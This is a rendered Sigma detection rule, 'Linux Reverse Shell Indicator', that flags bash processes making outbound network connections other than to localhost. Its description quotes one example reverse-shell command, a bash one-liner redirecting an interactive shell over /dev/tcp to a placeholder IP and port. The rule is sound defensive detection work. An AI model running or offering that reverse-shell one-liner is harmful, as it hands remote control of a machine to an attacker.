Detectioncriticaltest
Linux Reverse Shell Indicator
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Florian Roth (Nextron Systems)Created 2021-10-16Updated 2022-12-2583dcd9f6-9ca8-4af7-a16e-a1c7a6b51871linux
Log Source
LinuxNetwork Connection
ProductLinux← raw: linux
CategoryNetwork Connection← raw: network_connection
Events for outbound and inbound network connections including DNS resolution.
Detection Logic
Detection Logic2 selectors
detection:
selection:
Image|endswith: '/bin/bash'
filter:
DestinationIp:
- '127.0.0.1'
- '0.0.0.0'
condition: selection and not filterFalse Positives
Unknown
False positive likelihood has not been assessed. Additional context may be needed during triage.
References
MITRE ATT&CK
Tactics
Sub-techniques
Rule Metadata
Rule ID
83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
Status
test
Level
critical
Type
Detection
Created
2021-10-16
Modified
2022-12-25
Path
rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml
Raw Tags
attack.executionattack.t1059.004